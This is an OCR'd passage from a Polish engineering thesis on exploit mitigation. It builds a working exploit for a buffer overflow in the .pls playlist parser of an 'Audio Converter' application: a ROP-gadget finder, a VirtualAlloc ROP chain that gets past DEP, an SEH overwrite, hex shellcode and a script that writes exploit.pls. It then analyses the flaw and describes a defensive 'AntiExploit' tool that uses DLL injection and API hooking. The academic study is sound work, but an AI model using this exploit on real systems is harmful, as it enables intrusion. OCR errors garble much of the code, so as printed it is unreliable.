from distorm3 import Decode, Decode32Bits
import struct, sys
if len(sys.argv) < 2:
print "Usage ./disasm.py file.exe|file.dll"
sys.exit()
buf = open(sys.argv[1l],'rb').read()
peheader = struct.unpack("I",buf[0x3C:0xu40])[0]
f1l = peheader+0x10c

tl = peheader+0x110
f2 = peheader+0xlc
t2 = peheader+0x20
f3 = peheader+0x104
t3 = peheader+0x108

codestart = struct.unpack("I",buf[f1:t1]1)[0]

sizeofcode = struct.unpack("I",buf[f2:t2])[6]

rva = struct.unpack("I",buf[f3:t3])[0]

print "[-] Code starts at %.08x in file" % (codestart)

print "[-] Size of code %.08x" % (sizeofcode)

print "[-] RVA of .text section %.08x" % (rva)

print "[*] Generating code chunks...\n"

dec = Decode (rva,buf[codestart:codestart+sizeofcode], Decode32Bits)
i=o0

for i
if (dec[i][2] == "RET"):

for j in dec[i-5:i+1]:

in range(len(dec)):
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print "0x%08x (%02x) %-20s %s" % (j[el, j[11, jI[31, j[21)

print "\n?»

Listing 2. Skrypt w jezyku Python majacy na celu znalezienie gadgetow do rop chain
Funkcja  vfscanf  podczas  wczytywania  danych  generuje  wyjatek
EXCEPTION_ACCESS _VIOLATION przy probie wykonania kodu pod adresem
0x1007ES59S. Funkcja stworzyta wtasng ramke stosu wigc wezytywane dane beda na wyzszym
adresie stosu. Podczas generowania wyjatku rejestr ESP wskazuje na adres 0x12C928,
natomiast poczatek wezytywanych danych znajduje si¢ pod adresem 0x12CCBS8, co zostato

zaprezentowane na Rysunku 36.

0012Ca24| 1007£308 | return te audconv.1007E308 from audconv. 1007DC7A | 0012CCE4 | 002402E8
IEEFERERE] 101941F0 | audcony. 101541F0 41306141
0012C32C | 101A91A0 | audconv. 10145140 61413161

920 | 00000000 33614132
524| 0012CE9C |&"AA0AA1AAZAATAASAASARGAATAASAASABOADIADZADIADAA 31346141
1| 10194028 | audcony. 10194028 61313561

b 37614136
11386141
£2413961

940 [ 0012CBA0 | &"EATTATEATSAT0ATIIAIZATZA]4A]SATGAITATEAISAKDAKL D5 31624130
"""" < 01 | ninnnnnnn

2C940 | 013BOTED
24401360701
g | 00000000

Rysunek 36. Po lewej stronie adres szczytu stosu podczas wyjqtku, po prawej adres stosu z wezytywanymi danymi
Aby przygotowac srodowisko do stworzenia taficucha ROP nalezy przesunaé rejestr ESP w
miejsce pamig¢ci wezytanych danych. Pozwoli to na dodanie kolejnych gadgetow do tancucha.
W tym celu nalezy znalez¢ odpowiedni gadget, ktory zawiera instrukcje add esp. Korzystajac
ze skryptu z Listingu 2. znaleziono odpowiedni gadget (Listing 3.) pod adresem 0x10002d01

w module audconv.dll.

0x16002d01 81cUel100000 ADD ESP, Ox10E4
0x16002d07 c3 RETN

Listing 3. Gadget przesuwajgcy stos w miejsce wezytywanych danych

Adres 0x10002d01 zostat zapisany do pliku wejsciowego z rozszerzeniem na pozycji 4436 w
pliku wejsciowym oraz ponownie wezytany do programu. Wykonanie zostaje przekierowane
pod 0x10002d01, a wskaznik stosu przesunigty o 0x10E4 bajtow. Tuz przed wykonaniem
operacji ret wskaznik stosu wskazuje na adres 0x12D4BC co zostalo przedstawione na

Rysunku 37.
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A ENET-TE 43347143
o0 E71433571
C37714336
E43387143
E72433971
E31724330
E43327243
C72433372
E35724334
E43367243
C72433772

O T T O O G 5 |

Rysunek 37. Adres stosu po wykonaniu gadgetu z Listingu 3.

Warto$¢ zawarta pod tym adresem odpowiada pozycji 2052 w pliku wejsciowym. Pod tym
przesunigciem w pliku mozna wpisywac kolejne adresy gadgetow. Kazdy kolejny gadget jest
wykonywany zgodnie z dziataniem kolejki, ktérej elementy beda znajdowac si¢ pod adresem
0x12D4BC.

Nastepnym krokiem bedzie stworzenie tancucha ROP, ktéry zmieni ochrong¢ strony
pamieci stosu, tak aby byla wykonywalna. Wykorzystujac wielokrotnie instrukcje pop
odpowiednie argumenty funkcji VirtualAlloc zostang wczytane do rejestrow. Adres
VirtualAlloc zostal wczytany do tancucha z Import Address Table (IAT) z modulu
audconv.exe (0x44b290). Wywolanie funkcji z argumentami zostalo przedstawione w Listingu
4. Argument PAGE_EXECUTE_READWRITE oznacza, ze strona pamigci jest do zapisu,

odczytu oraz jest mozliwe na niej wykonywanie kodu.

VirtualAlloc(ESP, 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

Listing 4. Funkcja VirtualAlloc z argumentami wywotana przez tancuch ROP

Po wywolaniu VirtualAlloc wykonanie zostanie przekierowane na pami¢¢ stosu dzigki
instrukcji z modutu audconv.exe call esp. Caly lancuch ROP zostal zapisany do pliku

wejsciowego oraz przedstawiony wraz z komentarzem na Listingu 5.

0x10069de3 POP ESI, RETN [audconv.dll], ESI=VirtualAlloc ptr (Oxu4ub290)
0x004Ub290 wskaznik na VirtualAlloc() [IAT audconv.exe]

0x00U2fa37 MOV EAX, DWORD PTR Ds.:[ESI], RETN [audconv.exe],
EAX=VirtualAlloc

0x10037d05 XCHG EAX, ESI, RETN [audconv.dll], ESI=VirtualAlloc
0x10014dae POP EBP, RETN [audconv.dll], EBP=&call esp, wykonywane po
wywotaniu VirtualAlloc

0x0040a8fu wskaznik na instrukcj, "call e”p" [audconv.exe]

0x100147u46 POP EBX, RETN [audconv.dll], EBX=1, argument dwSize z
VirtualAlloc

0x00000001 VirtualAlloc dwSize argument

0x100732c2 POP EDX, RETN [audconv.dll], EDX=0x1000(MEM_COMMIT), argument
flAllocationType z VirtualAlloc

0x00001000 VirtualAlloc flAllocationType argument

0x1003f795 POP ECX, RETN [audconv.dll], ECX=0xU4®(PAGE_EXECUTE_READWRITE),
argument flProtect z VirtualAlloc

0x00000040 VirtualAlloc flProtect argument

0x1007076e POP EDI, RETN [audconv.dll], EDI=0x1003f2b9 (RETN)
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0x1003f2b9 wskaznik na RETN

0x1008a53f POP EAX, RETN[audconv.dll], EAX=0x90909090
0x90909090 nop argument

[aktualny stan rejestrow ponizej]

EDI=0x1003f2b9 (RETN),

ESI=VirtualAlloc,

EBP = Oxu40a8fuy (CALL ESP),
EBX = 1 (dwSize),
EDX = 0x1000 (MEM_COMMIT),

ECX=0x40 (PAGE_EXECUTE_READWRITE),

EAX=0x90909090 (nopsled)

0x1002ef1d PUSHAD, RETN [audconv.dll], taduje wszystkie rejestry ogdlnego
przeznaczenia na stos w kolejnosci: EDI, ESI, EBP, EBX, EDX, ECX, EAX

Listing 5. Laricuch ROP majgcy na celu uczynié stos wykonywalnym

Do programu zostal przekazany plik wejsciowy wraz z tancuchem ROP. Nastapilo wywotanie
VirtualAlloc z argumentami podanymi w Listingu 4. Po tej operacji wykonywanie instrukcji
zawartych w pamigci stosu jest dozwolone. Nastgpnie zostala wykonana instrukcja call esp,
ktora przekierowuje wykonanie pod adres 0x12D4FC na stosie, co odpowiada pozycji 2132 w
pliku. Pod tym adresem znajduja si¢ cztery instrukcje nop (wartos¢ 0x90) wcze$niej wezytane
przez gadget pod adresem 0x1008a53f. Instrukcja nop jest instrukcja, ktéra w zaden sposob
nie zmienia stanu programu (skroét od ,,no operation”).

Po ominigciu mechanizmu DEP mozna do pliku wej$ciowego zapisa¢ kod powloki,
tzw. shellcode na pozycji 2132 liczac od poczatku pliku. Piszac taki kod autor nie ma dostgpu
do API systemowego wigc kazdy adres funkcji systemowej musi zosta¢ pozyskany ze struktur
systemowych. W tym przyktadzie zostanie zaimplementowany kod wyswietlajacy okienko z
krotka informacja (Listing 6.). Kod odwoluje si¢ do rejestru segmentowego FS, w ktorym
zawarty jest wskaznik na strukture Thread Environment Block (TEB) [XXIX] dla aktualnie
wykonywanego watku. Na przesunieciu 0x30 struktury TEB zawarty jest wskaznik na strukture
Process Environment Block (PEB), w ktorej zawarte sg informacje o procesie jak rowniez
dane loadera plikow PE (przesunigcie 0xC w PEB). Korzystajac z danych loadera pobierany
jest adres biblioteki kernel32.dll. Nastepnie z modutu kernel32.dll pozyskiwany jest adres
funkcji FatalExitAppA, ktora zostanie wykorzystana do wyswietlenia komunikatu. Ciag
znakow ,,Politechnika Krakowska Wydzial Inzynierii Elektrycznej i Komputerowej” jest

tadowany na stos, a FatalExitAppA wywolywane.
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xor
mov
mov
mov
mov
find
mov
mov
mov
cmp
Jjne
mov
add
mov
add
mov
add
xor

edx, edx
dl, ox3e
edx, dword
edx, dword
edx, dword

_kernel32:

eax, dword
esi, dword
edx, dword
byte

fs:[edx]
[edx+0xC]
[edx+0x1c]

[edx+8]
[edx+0x20]
[edx]

[esi+oxC], ©x33

find_kernel32

edi, eax
edi, dword
edx, dword
edx, eax
edi, dword
edi, eax
ebp, ebp

[eax+0x3C]
[edi+0x78]

[edx+0x20]

find_fatal _app_message:

mov
add
inc
cmp
Jjne
cmp
Jjne
mov
add
mov
mov
add
mov
add
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
push
mov
xor
push
push
call

esi, dword
esi, eax
ebp
dword

[edi+ebp*4]

[esi], ©x61746146; , Fata”

find_fatal_app_message

dword

[esi+8], 0x74697845; , Exit”

find fatal app message

edi, dword
edi,eax
bp, word

[edx+0x24]

[edi + ebp * 2]

edi, dword [edx+0x1C]

edi, eax
edi, dword
edi, eax

0
0x6a65776f
0Xx72657475
0x706d6T4b
0x2069206a
Ox656e7a63
©x7972746b
0x656c4520
0Xx69697265
0x696e797a
0x6e49206¢C
0x61697a64
0x79572061
0x6b73776f
0x6b61724b
0x20616b69
0x6e686365
0x74696¢c6T
0x50202020
ecx, esp
eax, eax
ecx

eax

edi

[edi + ebp * 4 - 4]

Listing 6. Kod maszynowy wyswietlajqcy okienko z komunikatem
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Shellcode zostal poddany asemblacji do postaci kodu maszynowego x86 przez asembler NASM
oraz zapisany do pliku. W celu skonstruowania kompletnego pliku wejsciowego przygotowany
zostal skrypt w jezyku Python (Listing 7.), ktory taczy wszystkie wezesniej omawiane elementy
(nadpisanie SEH, tancuch ROP, shellcode) 1 zapisuje do pliku exploit.pls. Dodatkowym
elementem nieopisanym wcze$niej zawartym w kodzie jest tzw. NOP sled. Konstrukt sktada
si¢ z sekwencji instrukcji nop, ktére maja ,,doprowadzi¢” wykonanie do kodu exploitu.
Technika jest wykorzystywana, aby uczyni¢ exploit bardziej niezawodnym. Opisywane w tym
rozdziale przesunigcie 2132 w pliku, ktore odpowiada miejscu przekierowania wykonania w
programie moze by¢ nieznacznie inne, gdy exploit zostanie uzyty w np. w Srodowisku
uruchomieniowym innej wersji systemu operacyjnego. Gdy przesunigcie na innej platformie
r6zni si¢ od wyliczonego przez tworce exploitu (np. 2140) a przed shellcode zostat dodany NOP
sled wykonanie i tak dotrze do kodu atakujacego zalaczonego do exploitu. Kod maszynowy z

Listingu 6. zostal zamieniony na postac ciggu bajtow oraz zapisany do zmiennej shellcode.

import struct

def rop_chain():
rop_gadgets = [

0x10069de3, # POP ESI # RETN [audconv.dll]
0x0044b290, # ptr to &irtualAlloc() [IAT audconv.exe]
0x00U2fa37, # MOV EAX,DWORD PTR DS:[ESI] # RETN [audconv.exe]
0x10037d05, # XCHG EAX,ESI # RETN [audconv.dll]
0x10014dae, # POP EBP # RETN [audconv.dll]
0x0040a8fu, # & call esp [audconv.exe]
0x10014746, # POP EBX # RETN [audconv.dll]
0x00000001, # Ox00000001-> ebx LP_ADDRESS
0x100732c2, # POP EDX # RETN [audconv.dll]
0x00001000, # O0x00001000-> edx MEM_COMMIT
0x1003f795, # POP ECX # RETN [audconv.dll]
0x00000040, # O0x00000040-> ecx PAGE_EXECUTE_READWRITE
0x1007076e, # POP EDI # RETN [audconv.dll]
0x1003f2b9, # RETN (ROP NOP) [audconv.dll]
0x1008a53f, # POP EAX # RETN [audconv.dll]
0x90909090, # nop
0x1002ef1ld, # PUSHAD # RETN [audconv.dll]

]

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

shellcode =

("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08\x8b\x72"
"\x20\x8b\x12\x80\x7e\x0c\x33\x75\xF2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2"
"\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x3u\xaf\x01\xc6\xu45\x81\x3e\xU46\x61\x74\x61"
"\x75\xf2\x81\x7e\x08\xu45\x78\x69\x7U4\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6F\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x6a\x00\x68\x6f\x77\x65\x6a"
"\x68\x75\x7U\x65\x72\x68\xUb\x6F\x6d\x70\x68\x6a\x20\x69\x20\x68\x63\x7a\x6e"
"\x65\x68\x6b\x7U\x72\x79\x68\x20\x45\x6c\x65\x68\x65\x72\x69\x69\x68\x7a\x79"
"\x6e\x69\x68\x6c\x20\x49\x6e\x68\x6U4\x7a\x69\x61\x68\x61\x20\x57\x79\x68\x6F"
"\x77\x73\x6b\x68\x4b\x72\x61\x6b\x68\x69\x6b\x61\x20\x68\x65\x63\x68\x6e\x68"
"\ x6F\x6c\x69\x7U\x68\x20\x20\x20\x50\x89\xe1\x31\xcO\x51\x50\xFF\xd7")

a = "A" % 2052

rop = rop_chain()
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nopsled = "\x90" * (2132 - len(a) + len(rop))

nseh = "\xde\xcO\xef\xbe"

y = "Y" % (du32 - (len(Ca) + len(nopsled) + len(rop) + len(shellcode)))
seh = "\x01\x2d\x00\x10" # add esp 1OE4; ret

buffer = a + rop + nopsled + shellcode + y + nseh + seh

buffer += "Z" * (50000 - len(buffer))

f = open("exploit.pls","wb")

f.write(buffer)

f.close()

Listing 7. Skrypt generujqcy finalny exploit w postaci pliku .pls
Plik wejsciowy exploitu zostal wygenerowany oraz wczytany do aplikacji Audio
Converter. Poskutkowato to przekierowaniem wykonania w programie do kodu (Listing 6.)

zawartego w pliku wejsciowym. Wynik dziatania exploitu zostat przedstawiony na Rysunku 38.

push 74696C6F
push S'IIE':IE':IEEIr
MoV eCxX,es . ..

KOF Sax : eaﬁ Audic Converter: audconv.exe - Fatal Application Exit I&
push ecx ecx:”
push eax
call edi 1 . _
pop ecx @ Politechnika Krakowska Wydzial Inzynierii Elektryczngj i ECH:
pop ecx I | K t . ecx:
pop ecx W ROmputerowe ecK:”
pop ecx ecx:”
pop ecx ecx:”
pop ecx ecx: "
pop ecx ecx:”
pop ecx
pop ecx
pop ecx
pop ecx

ecx:”
ecx:”
ecx:"”
ecx:”

Rysunek 38. Wywotanie FatalAppExitA przez kod powtoki

Pozostato dokona¢ analizy co powinno zosta¢ zrobione, aby aplikacja nie byta podatna
na atak przepelnienia bufora. Stworzenie exploitu bylo mozliwe ze wzgledu na brak
kompatybilnosci modutow aplikacji z mechanizmem ASLR. Wszystkie adresy ROP gadgetow
w exploicie bazuja na stalym adresie bazowym modutéw. Gdyby aplikacja zostata
skompilowana ponownie przez tworcow wraz z przetacznikiem /NXCOMPAT wykorzystanie
btedu przepetnienia bufora byloby bardzo utrudnione, a nawet niemozliwe. Atakujacy nie
znatby adresu bazowego modutéw, wigc nie mogtby zamie$ci¢ w kodzie exploitu adresow
gadgetow tancucha ROP. Atakujagcy moglby poznac adres bazowy modutoéw, lecz w aplikacji
musiatby istnie¢ kolejny biad, ktéry by to umozliwiat.

Aplikacja jest podatna na btad przepeinienia bufora ze wzglgdu na btedng obstuge
wczytywania pliku listy odtwarzania w formacie .pls. Plik jest wezytywany linijka po linijce w
funkcji pod adresem 0x1002AE40 w module audconv.dll przy uzyciu funkcji vfscanf. Jak
mozna zauwazy¢ na Rysunku 39., gdy linijka nie zawiera znaku rownosci wykorzystywany jest
blok pod adresem 0x1002AEC1, w przeciwnym przypadku wykorzystywany jest blok pod

adresem 0x102AEDF. Formant zamieszczony w Listingu 8. sprawia, ze vfscanf wczytuje ciag
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znakdéw pomiedzy znakiem lewego nawiasu kwadratowego oraz znakiem prawego nawiasu
kwadratowego do bufora przekazanego w trzecim argumencie funkcji vfscanf. Bufor, w ktorym
cigg znakow jest zapisywany ma dtugos¢ 260 bajtéw. Funkcja vfscanf nie obstuguje sytuacji,
w ktorej bufor docelowy ma dlugo$¢ mniejsza od wezytywanych do niego danych.
Rozwigzaniem byloby uzycie funkcji fscanf_s wprowadzonej w standardzie jezyka C11, ktora
obsluguje wspomniang sytuacje. [XXX] Funkcja zawiera dodatkowy argument w postaci
wielkos$ci bufora docelowego. W sytuacji proby wezytania do bufora wigkszej ilosci danych niz

wynosi jego dtugos¢ dane sg obcinane do wielko$ci bufora.

[%[~11]
Listing 8. Formant przekazywany do funkcji viscanf
ol e =]
Ltext:1eszAECl
Ltext:1BB2AEC]L loc 18@2AECIL:
Ltext:1882AECL lea ecx, [esp+528h+key]
Ltext:1882AECE push ecx 3 int
Ltext:1882AECY push offset asc_1@@AB3CE ; " [%["]]]
Ltext:1BB2AECE push edi ; Tile_descriptor
Ltext:18B2AECF call vfscanf
Ltext:18828ED4 add esp, @Ch
Ltext:1882AEDY test eax, eax
Ltext:1882AED9 jnz loc_18@2AF96
Y
bl e (5
Ltext:1882AEDF lea edx, [esp+528h+value]
Ltext:1882AEES push edx
Ltext:18828EE7 lea eax, [esp+52Ch+key]
Ltext:1882AEEE push eax ; int
.text:1882AEEF push offset asc_188AB3D4 ; "¥[~=]=["\n\r]
Ltext:1882AEF4 push edi ; Tile descriptor
Ltext:1862AEFS call vfscanf
Ltext: 1BB2AEFA add esp, 1@h
LAext:1882AEFD test eax, eax
Ltext:18B28EFF jz loc_1@8e2AF95

Rysunek 39. Kod podatny na blqd przepetnienia bufora w aplikacji Audio Converter



Strona |50

7. Aplikacja z wlasng metoda ochrony
Na potrzeby pracy zostala przygotowana aplikacja ,,AntiExploit”, ktéra przeciwdziala
exploitom. Program wys$wietla obecne procesy w systemie operacyjnym. Dla kazdego procesu
listowane sg nastepujace informacije:

e Nazwa procesu

e PID (unikalny identyfikator procesu)

e Obecnos¢ mechanizmu ASLR w procesie (rozdziat 5.1)

e Stan mechanizmu DEP (rozdzial 5.2)

e Liczba modutéw zatadowanych w kontekscie danego procesu

e Liczba modutow, ktére nie sag kompatybilne z mechanizmem SafeSEH (rozdziat 5.4)

e Liczba moduldw, ktére nie korzystajg z ciasteczka bezpieczenstwa (rozdziat 5.3)

e Obecnos¢ autorskiej metody ochrony ,,AntiExploit” w procesie
Aplikacja jest 32 bitowa 1 zostala stworzona przy uzyciu jezyka C++ w Srodowisku Microsoft
Visual Studio 2022. Do deasemblacji kodu maszynowego zostala wykorzystana biblioteka
Capstone [ XXXI]. Interfejs uzytkownika zostat zaimplementowany przy pomocy funkcji API

systemu Microsoft Windows. Aplikacja zostala przedstawiona na Rysunku 40.

M ~ntiExploit - O X
File Help
Nazwa Procesu PID | astr | pEP lloé¢ modutéw | Moduly bez SafeSEH | Moaduly bez Stack Canary | AntiExplait |~
mRunt\meBrokar.exa 2772 Aktywny Aktywny Permanentnie Nieaktywny
mRunt\meBerer.exe 14444 Aktywny Aktywny Permanentnie Mieaktywny
mRunt\meBmkar.exa 13576 Alctywny Altywny Permanentnie Mieaktywny
mRunt\meBerer.exe 10968 Aktywny Aktywny Permanentnie Mieaktywny
ERunt\meBmkar.exa 8136 Alctywny Altywny Permanentnie Mieaktywny
mRunt\meBrokar.exa 4124 Aktywny Aktywny Permanentnie Nieaktywny
ErundHBl‘exe T160 Aktywny Altywny Mieaktywny
mRtkAudUSeN\:eﬁd.exe 13432 Akywy Nieaktywny
mRtkAudUSEN\:EM.Exe 4384 Aktywny Altywny Mieaktywny
ﬂRGBFusmn.exa 10472 Nieaktywny  Mieaktywny Mieaktywny
mReglstry 180 Mieaktywny Mieaktywny
EPresantationFantCa(he.exa 2304 Mieaktywny Mieaktywny
mpluginihost-}&exa 1560 Aktywny Nieaktywny
mplugm_hust-llexe 976 Aktywny Aktywny Permanentnie Mieaktywny
mperﬂﬂ"atsnnz.exe 1176 Nieaktywny  Mieaktywny Mieaktywny
mOrlngebHe\perServlce.Exe 5048 Aktywny Altywny Mieaktywny
.OriginThinSatuplntamal.exa 12168 Alctywny Mieaktywny 107 8 0 Mieaktywny
mOneApp.\GCC.WinService.aa 4780 Nieaktywny Nieaktywny
EOFﬁ(eCMckTURun.exe 4916 Aktywny Altywny Mieaktywny
. MNVIDIA Web Helper.exe 11576 Akywy Aktywny (bez emulacji ATL) 106 10 0 Nieaktywny
ENVDlsplay.CDntamer‘exe 3532 Mieaktywny Mieaktywny
ENVDisplay.Cnntainer‘exe 2936 Mieaktywny Mieaktywny
.nvcontamar.exa 7852 Aktywny Aktywny (bez emulacji ATL) Mieaktywny
Envcontamar.exa 4924 Aktywny Altywny Mieaktywny
.'-:l.msvsmon.ae §716 Aktywny Aktywny Permanentnie Nieaktywny
.’I:!msvsmun.exe 18848 Aktywny Aktywny Permanentnie 67 10 0 Mieaktywny
mmspdbsr\r.exe 2443 Alctywny Mieaktywny 16 0 0 Mieaktywny
MSIAﬂerburner‘Exe 2668 Nieaktywny Mieaktywny
EIMSBUM.EXE 9372 Nieaktywny Mieaktywny
mMicrosoﬁ:EdgeUpdate.ae 8732 Nieaktywny Nieaktywny
EMicrusuf‘t.ServiceHub.CDntmller.exE 9256 Mieaktywny — Aktywny Mieaktywny
mMemnry Compression 3140 Nieaktywny Nieaktywny
m\sass.exe 996 Mieaktywny Mieaktywny
ELsalsn.exa 988 Mieaktywny Mieaktywny
m\oglicrashpadihandler.ae 5168 Aktywny Mieaktywny
\Dgi_(rashpad_handler.ae 10068 Aktywny Mieaktywny
m\_ockﬂpp‘axa 13392 Aktywny Nieaktywny Nieaktywny
ELMS.EXE 5072 Aktywny Altywny Mieaktywny
L\ghtshﬂt‘axs 15432 Alctywny Altywny Permanentnie 65 8 0 Mieaktywny
mL\ghtKEEpErSENI(E‘E}(E 4836 Aktywny Altywny Mieaktywny
E Ighub_updater.exe 4368 Alctywny Aldywny Mieaktywny
\ghubjgent.axa 7764 Aktywny Nieaktywny o

Rysunek 40. Interfejs uzytkownika aplikacji ,, AntiExploit”
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Mechanizm ASLR jest sprawdzany przy uzyciu nieudokumentowanej funkcji

systemowej NtQuerylnformationProcess, ktorej deklaracja zostala przedstawiona na

Listingu 9.

__kernel_entry NTSTATUS NtQueryInformationProcess(
[in] HANDLE ProcessHandle,
[in] PROCESSINFOCLASS ProcessInformationClass,
[out] PVOID ProcessInformation,
[in] ULONG ProcessInformationLength,
[out, optionall] PULONG ReturnLength

);

Listing 9. Deklaracja funkcji systemowej NtQueryInformationProcess
Gdy jako drugi argument typu PROCESSINFOCLASS zostanie przekazana stala
ProcessImagelnformation (0x25) funkcja zwréci poprzez ProcessInformation strukture typu
SECTION_IMAGE_INFORMATION. Pole ImageFlags.ImageDynamicallyRelocated
zwraca informacj¢ czy aplikacja zostala dynamicznie relokowana, co jest jednoznaczne z
obecnos$cig mechanizmu ASLR.

Stan mechanizmu DEP podobnie jak ASLR sprawdzany jest przy uzyciu funkcji
systemowej NtQueryInformationProcess. Gdy do drugiego argumentu zostanie przekazana
stala ProcessExecuteFlags (0x22) funkcja zwroci poprzez ProcessInformation pole bitowe z
flagami dotyczacymi mechanizmu DEP:

e MEM EXECUTE OPTION ENABLE

e MEM EXECUTE OPTION DISABLE THUNK EMULATION

e MEM EXECUTE OPTION PERMANENT
Warto$¢ pola DEP w aplikacji moze przyjac jedng z czterech mozliwych wartosci:

e ,Nieaktywny”

o ,Aktywny”

o ,Aktywny (bez emulacji ATL)”

e  Aktywny Permanentnie”
Aplikacje wykorzystujagce Active Template Library (ATL) w wersji do 7.1 wiacznie moga
probowac¢ wykona¢ kod na stronach pamigci oznaczonych jako niewykonywalne [ XXXII]. W
tym celu, aby umozliwi¢ dzialanie starszym aplikacjom system emuluje instrukcje oraz
obstuguje wyjatki wygenerowane w wyniku proby wykonania kodu na stronie pamigci z
danymi. Mechanizm DEP moze rowniez by¢ wlaczony bez mozliwosci jego dezaktywowania,

co opisuje stan ,,Aktywny Permanentnie”.
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Kazdy proces jest analizowany pod wzgledem kompatybilnosci jego modutéw z
mechanizmem SafeSEH oraz Stack Canary. Moduty sg wyodrgbniane z przestrzeni procesu
poprzez wykorzystanie funkcji systemowych CreateToolhelp32Snapshot, Module32First
oraz Module32Next (uzywane sg rowniez do zliczania ich ilo$ci). Pozyskiwane dzigki nim, ich
adresy bazowe oraz wielkos$ci, pozwalaja odczyta¢ za pomoca ReadProcessMemory nagldwki
PE wszystkich modutow. Kazdy modut jest analizowany pod wzgledem zawartosci katalogu
IMAGE LOAD CONFIG _DIRECTORY w opcjonalnym nagtowku pliku (jego brak oznacza
niekompatybilnos¢ z SafeSEH oraz Stack Canary). Struktura opisujgca katalog zawiera
interesujace pola ,,SecurityCookie”, ,,SEHandlerTable”, ,SEHandlerCount”. Gdy warto$¢
pierwszego z nich jest zerowa instrumentacja ciasteczka bezpieczenstwa nie jest obecna w
kodzie modutu. Jezeli pole ,,SEHandlerTable” jest wyzerowane oznacza to brak
kompatybilnosci z mechanizmem SafeSEH. Gdy ,,SEHandlerTable” jest niezerowe, lecz
»SEHandlerCount” wynosi zero, oznacza to, ze mechanizm SafeSEH zostal wlaczony
podczas kompilacji, ale tablica bezpiecznych procedur obstugi nie zostata wygenerowana.

Analiza statusoéw metod ochrony wraz z informacjami o SafeSEH oraz Stack Canary
moga pomoc przy identyfikowaniu podatnych aplikacji.

Metoda ochrony , AntiExploit” jest zbiorem mechanizméw ochronnych przed
wykorzystywaniem btedow w kodzie aplikacji. Dokonuje tego za pomocg serii sprawdzen,
przed wywotaniami kluczowych funkcji systemowych. Zabezpieczenie moze zosta¢ wtaczone
dla wybranego procesu poprzez kliknigcie na niego prawym przyciskiem myszy oraz
wybraniem opcji ,,Zataduj AntiExploit”, co zostato przedstawione na Rysunku 41.

Evadsewice.ﬂe

toolsd.exe

1600

Altywny Altywny Permamentnie
- Zataduj AntiExploit

- VGAUthSemvice. exe 1800 a _ _ ie
Evmtnalsd.exe 1836 A e ie
EWW‘HF‘NSE.E{E 1872 Alcbyweny Altywny Permamentnie
@ msdtc.exe 2060 Alcbywny Altywny Permamentnie

Rysunek 41. Zaladowanie metody ochrony "AntiExploit” do wybranego procesu
Kod ,,AntiExploit” zostal zawarty w osobnej bibliotece wspotdzielone; AntiExploitCore.dll.
Podczas wlaczenia zabezpieczenia dla danego procesu biblioteka jest tadowana w jego
przestrzen adresowa (DLL Injection [2]). W opisywanej aplikacji ladowanie zostalo
zaimplementowane przez stworzenie nowego watku w  docelowym = procesie
(CreateRemoteThread) ktory fadowat biblioteke z kodem ,,AntiExploit” przy uzyciu funkcji
LoadLibraryW. Gdy biblioteka AntiExploitCore.dll jest obecna w docelowym procesie

nastepuje tzw. hookowanie kluczowych funkcji systemowych [4]. Technika polega na
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zastgpieniu pierwszych bajtéw kodu funkcji na instrukcje skoku do wlasnego kodu, co zostato

zaprezentowane na przyktadzie funkcji RtlDispatchException na Rysunku 42. oraz

Rysunku 43.
BEFF mov edi,edi
55 push ebp
BBEC mov ebp,esp
B3E4 FB and esp,FFFFFFFS
83EC 7C sub esp,7C
Al FOB3ICATT mov eax,dword ptr ds:[77CAB370]
33C4 XOr eax,esp
894424 78 mov dword ptr ss:|fesp+738j,eax
8BSS OC mov edx,dword ptr ss:febp+C]

Rysunek 42. Kod funkcji RtlDispatchException przed hookowaniem

FTBESFDC v E9 C9BSCBOL jmp antiexploitcore. 795A45A4
B3E4 F8 and esp,FFFFFFFE
83EC 7C subr esp,7C
Al FOB3ICATT mov eax,dword ptr ds: [FFCAB370]
33C4 KOF eax,esp
594424 78 mov dword ptr ss:|[fesp+78),eax
8B5S OC mov edx,dword ptr ss:|lebp+C]]

Rysunek 43. Kod funkeji RtiDispatchException przed hookowaniem
Przed wykonaniem tej operacji nadpisane bajty sg zapisywane do pamieci, aby poézniej mogty
zosta¢ wykonane przed powrotem do oryginalnej funkcji. Tuz po zapisanych bajtach znajduje
si¢ skok do oryginalnej funkcji. Opisywany konstrukt (zapisane pierwsze bajty oryginalnej

funkcji wraz ze skokiem do niej) zostanie nazwany trampolina, ktory zostal zilustrowany na

Rysunku 44.

02661410 BBFF mov edi,edi
(g push ebp

0266 BBEC mov ebp,esp

0266 ~ E9 CF7BLETS jmp ntdl11.77BESFEL
0000 add byte ptr ds:[eax],al
0000 add bwte ptr dintdll.77BESFEL
0000 add byte ptr dland esp,FFFFFFF&
0000 add byte ptr d|sub esp,7C
0000 add byte ptr djmov eax,dword ptr ds: [FFCAB370]
0000 add byte ptr d|xor eax,esp
0000 add byte ptr dimov dword ptr ss:|esp+7&]),eax
0000 add byte ptr djmov edx,dword ptr ss:[[ebp+C]
0000 add byte ptr d|push ebx
0000 add byte ptr djpush esi
0000 add byte ptr djmov esi,dword ptr ss:|[febp+E]
0000 add byte ptr d|xor ebx,ebx
0000 add byte ptr djpush edi
0000 add byte ptr dimov dword ptr ss:[esp+10J,edx
0000 add byte ptr dimov byte ptr ss:[lesp+F,bl
0000 add byte ptr d|jcmp dword ptr ds:[esi],C0000006
0000 add byte ptr djje ntdll.77BES01D
0000 add byte ptr dijmov ecx,dword ptr ds:[esi+C]
0000 add byte ptr d|€all ntd1l.77BE233B
0000 add byte ptr djtest al,al

? 0000 add byte ptr d|jne ntdll.77C25A79
51444 0000 add byte ptr dmov eax,dword ptr Hl:[30]

Rysunek 44. Zapisane bajty nadpisanej funkcji RtlDispatchException oraz skok prowadzqcy do jej dalszej czesci
Kod odpowiedzialny za przekierowanie wykonania funkcji zostat zaprezentowany na Listingu
10. Argument pvStub jest adresem bloku pamigci zawierajagcego trampoliny wszystkich
hookowanych funkcji. Argument dt jest obiektem zawierajacym oryginalne bajty funkc;ji,

oryginalny adres funkcji oraz adres funkcji, na ktora zostanie przekierowane wykonanie.
